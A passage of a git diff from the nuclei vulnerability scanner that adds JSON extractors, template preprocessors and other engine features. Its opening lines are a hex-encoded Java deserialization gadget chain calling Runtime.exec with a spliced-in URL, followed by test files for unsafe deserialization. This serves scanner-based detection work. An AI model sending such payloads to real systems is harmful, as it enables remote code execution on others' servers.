76612F6C616E672F52756E74696D6507002C01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002E002F0A002D00300100") + buffer.Write(middle) + buffer.WriteString(url) + suffix, _ := hex.DecodeString("08003201000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003400350A002D003601002179736F73657269616C2F4A6578426F7373323434393535333834303536333337380100234C79736F73657269616C2F4A6578426F7373323434393535333834303536333337383B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000001C000E0000000C000100000005000F003900000001001300140002000C0000003F0000000300000001B100000002000D0000000600010000001F000E00000020000300000001000F0039000000000001001500160001000000010017001800020019000000040001001A00010013001B0003000C000000490000000400000001B100000002000D00000006000100000022000E0000002A000400000001000F003900000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A0020000000060001002100000008002B000B0001000C0000001B000300020000000FA70003014CB800311233B6003757B1000000000002002200000002002300110000000A000100020025001000097571007E000D0000019BCAFEBABE00000031001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100124C7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A0100107574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501000C7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D00000006000100000026000E0000000C000100000005000F001200000002001300000002001400110000000A00010002001600100009707400076A6578626F73737077010078737D00000001001D6A617661782E786D6C2E7472616E73666F726D2E54656D706C61746573787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200024C000564756D6D797400124C6A6176612F6C616E672F4F626A6563743B4C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B7870737200296A6176612E6265616E732E6265616E636F6E746578742E4265616E436F6E74657874537570706F7274BC4820F0918FB90C03000149000C73657269616C697A61626C657872002E6A6176612E6265616E732E6265616E636F6E746578742E4265616E436F6E746578744368696C64537570706F727457D4EFC704DC72250200014C00146265616E436F6E746578744368696C64506565727400294C6A6176612F6265616E732F6265616E636F6E746578742F4265616E436F6E746578744368696C643B787071007E0019000000017372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50300024C0004747970657400114C6A6176612F6C616E672F436C6173733B4C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B78707672001D6A617661782E786D6C2E7472616E73666F726D2E54656D706C6174657300000000000000000000007870737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C77080000001000000001740008663561356136303871007E0009787704000000007871007E001D78") + buffer.Write(suffix) + + return buffer.Bytes() +} diff --git a/v2/pkg/protocols/common/helpers/deserialization/testdata/Deserialize.java b/v2/pkg/protocols/common/helpers/deserialization/testdata/Deserialize.java new file mode 100644 index 00000000..b63528dd --- /dev/null +++ b/v2/pkg/protocols/common/helpers/deserialization/testdata/Deserialize.java @@ -0,0 +1,30 @@ +import java.io.*; + +class Deserialize { + public static void main(String args[]) { + FileInputStream fileIn = null; + ObjectInputStream in = null; + ValueObject vo2 = null; + + try { + fileIn = new FileInputStream("ValueObject2.ser"); + } + catch(FileNotFoundException e) { + e.printStackTrace(); + } + + try { + in = new ObjectInputStream(fileIn); + } + catch(IOException e) { + e.printStackTrace(); + } + try { + vo2 = (ValueObject) in.readObject(); + } + catch(Exception e) { + e.printStackTrace(); + } + System.out.println(vo2); + } +} \ No newline at end of file diff --git a/v2/pkg/protocols/common/helpers/deserialization/testdata/README.md b/v2/pkg/protocols/common/helpers/deserialization/testdata/README.md new file mode 100644 index 00000000..666ee024 --- /dev/null +++ b/v2/pkg/protocols/common/helpers/deserialization/testdata/README.md @@ -0,0 +1,11 @@ +# testdata + +### Test Unsafe Java Deserialization + +``` +javac Deserialize.java ValueObject.java +# generate payload and write to ValueObject2.ser +java Deserialize +``` + +Modified From: https://snyk.io/blog/serialization-and-deserialization-in-java/ \ No newline at end of file diff --git a/v2/pkg/protocols/common/helpers/deserialization/testdata/ValueObject.java b/v2/pkg/protocols/common/helpers/deserialization/testdata/ValueObject.java new file mode 100644 index 00000000..cbf3011c --- /dev/null +++ b/v2/pkg/protocols/common/helpers/deserialization/testdata/ValueObject.java @@ -0,0 +1,15 @@ +import java.io.*; + +public class ValueObject implements Serializable { + private String value; + private String sideEffect; + + public ValueObject() { + this("empty"); + } + + public ValueObject(String value) { + this.value = value; + this.sideEffect = java.time.LocalTime.now().toString(); + } +} diff --git a/v2/pkg/protocols/common/interactsh/interactsh.go b/v2/pkg/protocols/common/interactsh/interactsh.go index 568f1703..6fa71797 100644 --- a/v2/pkg/protocols/common/interactsh/interactsh.go +++ b/v2/pkg/protocols/common/interactsh/interactsh.go @@ -15,7 +15,6 @@ import ( "github.com/projectdiscovery/nuclei/v2/pkg/output" "github.com/projectdiscovery/nuclei/v2/pkg/progress" "github.com/projectdiscovery/nuclei/v2/pkg/reporting" - "github.com/valyala/fasttemplate" ) // Client is a wrapped client for interactsh server. @@ -183,9 +182,7 @@ func (c *Client) ReplaceMarkers(data, interactshURL string) string { if !strings.Contains(data, interactshURLMarker) { return data } - replaced := fasttemplate.ExecuteStringStd(data, "{{", "}}", map[string]interface{}{ - "interactsh-url": interactshURL, - }) + replaced := strings.NewReplacer("{{interactsh-url}}", interactshURL).Replace(data) return replaced } diff --git a/v2/pkg/protocols/dns/dns.go b/v2/pkg/protocols/dns/dns.go index 5fdf49cc..0538186f 100644 --- a/v2/pkg/protocols/dns/dns.go +++ b/v2/pkg/protocols/dns/dns.go @@ -118,6 +118,8 @@ func questionTypeToInt(questionType string) uint16 { question = dns.TypeMX case "TXT": question = dns.TypeTXT + case "DS": + question = dns.TypeDS case "AAAA": question = dns.TypeAAAA } diff --git a/v2/pkg/protocols/http/operators.go b/v2/pkg/protocols/http/operators.go index a426c985..87b01153 100644 --- a/v2/pkg/protocols/http/operators.go +++ b/v2/pkg/protocols/http/operators.go @@ -55,6 +55,8 @@ func (r *Request) Extract(data map[string]interface{}, extractor *extractors.Ext return extractor.ExtractRegex(item) case extractors.KValExtractor: return extractor.ExtractKval(data) + case extractors.JSONExtractor: + return extractor.ExtractJSON(item) } return nil } diff --git a/v2/pkg/protocols/http/operators_test.go b/v2/pkg/protocols/http/operators_test.go index a0a44258..bccb4615 100644 --- a/v2/pkg/protocols/http/operators_test.go +++ b/v2/pkg/protocols/http/operators_test.go @@ -171,6 +171,47 @@ func TestHTTPOperatorExtract(t *testing.T) { require.Greater(t, len(data), 0, "could not extractor kval valid response") require.Equal(t, map[string]struct{}{"Test-Response": {}}, data, "could not extract correct kval data") }) + + t.Run("json", func(t *testing.T) { + event["body"] = exampleJSONResponseBody + + t.Run("jq-simple", func(t *testing.T) { + extractor := &extractors.Extractor{ + Type: "json", + JSON: []string{".batters | .batter | .[] | .id"}, + } + err = extractor.CompileExtractors() + require.Nil(t, err, "could not compile json extractor") + + data := request.Extract(event, extractor) + require.Greater(t, len(data), 0, "could not extractor json valid response") + require.Equal(t, map[string]struct{}{"1001": {}, "1002": {}, "1003": {}, "1004": {}}, data, "could not extract correct json data") + }) + t.Run("jq-array", func(t *testing.T) { + extractor := &extractors.Extractor{ + Type: "json", + JSON: []string{".array"}, + } + err = extractor.CompileExtractors() + require.Nil(t, err, "could not compile json extractor") + + data := request.Extract(event, extractor) + require.Greater(t, len(data), 0, "could not extractor json valid response") + require.Equal(t, map[string]struct{}{"[\"hello\",\"world\"]": {}}, data, "could not extract correct json data") + }) + t.Run("jq-object", func(t *testing.T) { + extractor := &extractors.Extractor{ + Type: "json", + JSON: []string{".batters"}, + } + err = extractor.CompileExtractors() + require.Nil(t, err, "could not compile json extractor") + + data := request.Extract(event, extractor) + require.Greater(t, len(data), 0, "could not extractor json valid response") + require.Equal(t, map[string]struct{}{"{\"batter\":[{\"id\":\"1001\",\"type\":\"Regular\"},{\"id\":\"1002\",\"type\":\"Chocolate\"},{\"id\":\"1003\",\"type\":\"Blueberry\"},{\"id\":\"1004\",\"type\":\"Devil's Food\"}]}": {}}, data, "could not extract correct json data") + }) + }) } func TestHTTPMakeResult(t *testing.T) { @@ -308,3 +349,63 @@ const exampleResponseBody = ` ` + +const exampleJSONResponseBody = ` +{ + "id": "0001", + "type": "donut", + "name": "Cake", + "ppu": 0.55, + "array": ["hello", "world"], + "batters": { + "batter": [ + { + "id": "1001", + "type": "Regular" + }, + { + "id": "1002", + "type": "Chocolate" + }, + { + "id": "1003", + "type": "Blueberry" + }, + { + "id": "1004", + "type": "Devil's Food" + } + ] + }, + "topping": [ + { + "id": "5001", + "type": "None" + }, + { + "id": "5002", + "type": "Glazed" + }, + { + "id": "5005", + "type": "Sugar" + }, + { + "id": "5007", + "type": "Powdered Sugar" + }, + { + "id": "5006", + "type": "Chocolate with Sprinkles" + }, + { + "id": "5003", + "type": "Chocolate" + }, + { + "id": "5004", + "type": "Maple" + } + ] +} +` diff --git a/v2/pkg/protocols/http/request.go b/v2/pkg/protocols/http/request.go index c6028dca..0ece585a 100644 --- a/v2/pkg/protocols/http/request.go +++ b/v2/pkg/protocols/http/request.go @@ -263,19 +263,6 @@ func (r *Request) executeRequest(reqURL string, request *generatedRequest, previ err error ) - // For race conditions we can't dump the request body at this point as it's already waiting the open-gate event, already handled with a similar code within the race function - if !request.original.Race { - dumpedRequest, err = dump(request, reqURL) - if err != nil { - return err - } - - if r.options.Options.Debug || r.options.Options.DebugRequests { - gologger.Info().Msgf("[%s] Dumped HTTP request for %s\n\n", r.options.TemplateID, reqURL) - gologger.Print().Msgf("%s", string(dumpedRequest)) - } - } - var formedURL string var hostname string timeStart := time.Now() @@ -314,6 +301,20 @@ func (r *Request) executeRequest(reqURL string, request *generatedRequest, previ resp, err = r.httpClient.Do(request.request) } } + + // For race conditions we can't dump the request body at this point as it's already waiting the open-gate event, already handled with a similar code within the race function + if !request.original.Race { + dumpedRequest, err = dump(request, reqURL) + if err != nil { + return err + } + + if r.options.Options.Debug || r.options.Options.DebugRequests { + gologger.Info().Msgf("[%s] Dumped HTTP request for %s\n\n", r.options.TemplateID, reqURL) + gologger.Print().Msgf("%s", string(dumpedRequest)) + } + } + if resp == nil { err = errors.New("no response got for request") } @@ -426,16 +427,14 @@ func (r *Request) executeRequest(reqURL string, request *generatedRequest, previ } event := &output.InternalWrappedEvent{InternalEvent: outputEvent} - if !interactsh.HasMatchers(r.CompiledOperators) { - if r.CompiledOperators != nil { - var ok bool - event.OperatorsResult, ok = r.CompiledOperators.Execute(finalEvent, r.Match, r.Extract) - if ok && event.OperatorsResult != nil { - event.OperatorsResult.PayloadValues = request.meta - event.Results = r.MakeResultEvent(event) - } - event.InternalEvent = outputEvent + if r.CompiledOperators != nil { + var ok bool + event.OperatorsResult, ok = r.CompiledOperators.Execute(finalEvent, r.Match, r.Extract) + if ok && event.OperatorsResult != nil { + event.OperatorsResult.PayloadValues = request.meta + event.Results = r.MakeResultEvent(event) } + event.InternalEvent = outputEvent } callback(event) return nil diff --git a/v2/pkg/reporting/reporting.go b/v2/pkg/reporting/reporting.go index 120a2af4..31eeeedd 100644 --- a/v2/pkg/reporting/reporting.go +++ b/v2/pkg/reporting/reporting.go @@ -139,6 +139,7 @@ func New(options *Options, db string) (*Client, error) { } client.exporters = append(client.exporters, exporter) } + storage, err := dedupe.New(db) if err != nil { return nil, err @@ -147,6 +148,16 @@ func New(options *Options, db string) (*Client, error) { return client, nil } +// RegisterTracker registers a custom tracker to the reporter +func (c *Client) RegisterTracker(tracker Tracker) { + c.trackers = append(c.trackers, tracker) +} + +// RegisterExporter registers a custom exporter to the reporter +func (c *Client) RegisterExporter(exporter Exporter) { + c.exporters = append(c.exporters, exporter) +} + // Close closes the issue tracker reporting client func (c *Client) Close() { c.dedupe.Close() diff --git a/v2/pkg/templates/compile.go b/v2/pkg/templates/compile.go index 26139b70..653727f3 100644 --- a/v2/pkg/templates/compile.go +++ b/v2/pkg/templates/compile.go @@ -19,7 +19,7 @@ import ( // Parse parses a yaml request template file //nolint:gocritic // this cannot be passed by pointer -func Parse(filePath string, options protocols.ExecuterOptions) (*Template, error) { +func Parse(filePath string, preprocessor Preprocessor, options protocols.ExecuterOptions) (*Template, error) { template := &Template{} f, err := os.Open(filePath) @@ -34,6 +34,10 @@ func Parse(filePath string, options protocols.ExecuterOptions) (*Template, error } data = template.expandPreprocessors(data) + if preprocessor != nil { + data = preprocessor.Process(data) + } + err = yaml.NewDecoder(bytes.NewReader(data)).Decode(template) if err != nil { return nil, err @@ -60,7 +64,7 @@ func Parse(filePath string, options protocols.ExecuterOptions) (*Template, error if len(template.Workflows) > 0 { compiled := &template.Workflow - compileWorkflow(&options, compiled, options.WorkflowLoader) + compileWorkflow(preprocessor, &options, compiled, options.WorkflowLoader) template.CompiledWorkflow = compiled template.CompiledWorkflow.Options = &options } diff --git a/v2/pkg/templates/preprocessors.go b/v2/pkg/templates/preprocessors.go index 83241a0a..ef6edeb1 100644 --- a/v2/pkg/templates/preprocessors.go +++ b/v2/pkg/templates/preprocessors.go @@ -8,6 +8,10 @@ import ( "github.com/segmentio/ksuid" ) +type Preprocessor interface { + Process(data []byte) []byte +} + var preprocessorRegex = regexp.MustCompile(`\{\{([a-z0-9_]+)\}\}`) // expandPreprocessors expands the pre-processors if any for a template data. diff --git a/v2/pkg/templates/workflows.go b/v2/pkg/templates/workflows.go index e9817e73..04532205 100644 --- a/v2/pkg/templates/workflows.go +++ b/v2/pkg/templates/workflows.go @@ -8,9 +8,9 @@ import ( ) // compileWorkflow compiles the workflow for execution -func compileWorkflow(options *protocols.ExecuterOptions, workflow *workflows.Workflow, loader model.WorkflowLoader) { +func compileWorkflow(preprocessor Preprocessor, options *protocols.ExecuterOptions, workflow *workflows.Workflow, loader model.WorkflowLoader) { for _, workflow := range workflow.Workflows { - if err := parseWorkflow(workflow, options, loader); err != nil { + if err := parseWorkflow(preprocessor, workflow, options, loader); err != nil { gologger.Warning().Msgf("Could not parse workflow: %v\n", err) continue } @@ -18,24 +18,24 @@ func compileWorkflow(options *protocols.ExecuterOptions, workflow *workflows.Wor } // parseWorkflow parses and compiles all templates in a workflow recursively -func parseWorkflow(workflow *workflows.WorkflowTemplate, options *protocols.ExecuterOptions, loader model.WorkflowLoader) error { +func parseWorkflow(preprocessor Preprocessor, workflow *workflows.WorkflowTemplate, options *protocols.ExecuterOptions, loader model.WorkflowLoader) error { shouldNotValidate := false if len(workflow.Subtemplates) > 0 || len(workflow.Matchers) > 0 { shouldNotValidate = true } - if err := parseWorkflowTemplate(workflow, options, loader, shouldNotValidate); err != nil { + if err := parseWorkflowTemplate(workflow, preprocessor, options, loader, shouldNotValidate); err != nil { return err } for _, subtemplates := range workflow.Subtemplates { - if err := parseWorkflow(subtemplates, options, loader); err != nil { + if err := parseWorkflow(preprocessor, subtemplates, options, loader); err != nil { gologger.Warning().Msgf("Could not parse workflow: %v\n", err) continue } } for _, matcher := range workflow.Matchers { for _, subtemplates := range matcher.Subtemplates { - if err := parseWorkflow(subtemplates, options, loader); err != nil { + if err := parseWorkflow(preprocessor, subtemplates, options, loader); err != nil { gologger.Warning().Msgf("Could not parse workflow: %v\n", err) continue } @@ -45,7 +45,7 @@ func parseWorkflow(workflow *workflows.WorkflowTemplate, options *protocols.Exec } // parseWorkflowTemplate parses a workflow template creating an executer -func parseWorkflowTemplate(workflow *workflows.WorkflowTemplate, options *protocols.ExecuterOptions, loader model.WorkflowLoader, noValidate bool) error { +func parseWorkflowTemplate(workflow *workflows.WorkflowTemplate, preprocessor Preprocessor, options *protocols.ExecuterOptions, loader model.WorkflowLoader, noValidate bool) error { var paths []string workflowTags := workflow.Tags @@ -69,7 +69,7 @@ func parseWorkflowTemplate(workflow *workflows.WorkflowTemplate, options *protoc Interactsh: options.Interactsh, ProjectFile: options.ProjectFile, } - template, err := Parse(path, opts) + template, err := Parse(path, preprocessor, opts) if err != nil { gologger.Warning().Msgf("Could not parse workflow template %s: %v\n", path, err) continue diff --git a/v2/pkg/types/interfaces.go b/v2/pkg/types/interfaces.go index 854fc2aa..54cf8d95 100644 --- a/v2/pkg/types/interfaces.go +++ b/v2/pkg/types/interfaces.go @@ -10,6 +10,23 @@ import ( "github.com/projectdiscovery/nuclei/v2/internal/severity" ) +// JSONScalarToString converts an interface coming from json to string +// Inspired from: https://github.com/cli/cli/blob/09b09810dd812e3ede54b59ad9d6912b946ac6c5/pkg/export/template.go#L72 +func JSONScalarToString(input interface{}) (string, error) { + switch tt := input.(type) { + case string: + return ToString(tt), nil + case float64: + return ToString(tt), nil + case nil: + return ToString(tt), nil + case bool: + return ToString(tt), nil + default: + return "", fmt.Errorf("cannot convert type to string: %v", tt) + } +} + // ToString converts an interface to string in a quick way func ToString(data interface{}) string { switch s := data.(type) { diff --git a/v2/pkg/types/types.go b/v2/pkg/types/types.go index 632b39a8..608b6ad9 100644 --- a/v2/pkg/types/types.go +++ b/v2/pkg/types/types.go @@ -10,9 +10,9 @@ type Options struct { // Tags contains a list of tags to execute templates for. Multiple paths // can be specified with -l flag and -tags can be used in combination with // the -l flag. - Tags goflags.StringSlice + Tags goflags.NormalizedStringSlice // ExcludeTags is the list of tags to exclude - ExcludeTags goflags.StringSlice + ExcludeTags goflags.NormalizedStringSlice // Workflows specifies any workflows to run by nuclei Workflows goflags.StringSlice // Templates specifies the template/templates to use @@ -24,9 +24,9 @@ type Options struct { // Severities filters templates based on their severity and only run the matching ones. Severities severity.Severities // Author filters templates based on their author and only run the matching ones. - Author goflags.StringSlice + Author goflags.NormalizedStringSlice // IncludeTags includes specified tags to be run even while being in denylist - IncludeTags goflags.StringSlice + IncludeTags goflags.NormalizedStringSlice // IncludeTemplates includes specified templates to be run even while being in denylist IncludeTemplates goflags.StringSlice @@ -73,6 +73,8 @@ type Options struct { Retries int // Rate-Limit is the maximum number of requests per specified target RateLimit int + // Rate-Limit is the maximum number of requests per minute for specified target + RateLimitMinute int // PageTimeout is the maximum time to wait for a page in seconds PageTimeout int // InteractionsCacheSize is the number of interaction-url->req to keep in cache at a time. @@ -140,4 +142,8 @@ type Options struct { NewTemplates bool // NoInteractsh disables use of interactsh server for interaction polling NoInteractsh bool + // UpdateNuclei checks for an update for the nuclei engine + UpdateNuclei bool + // NoUpdateTemplates disables checking for nuclei templates updates + NoUpdateTemplates bool }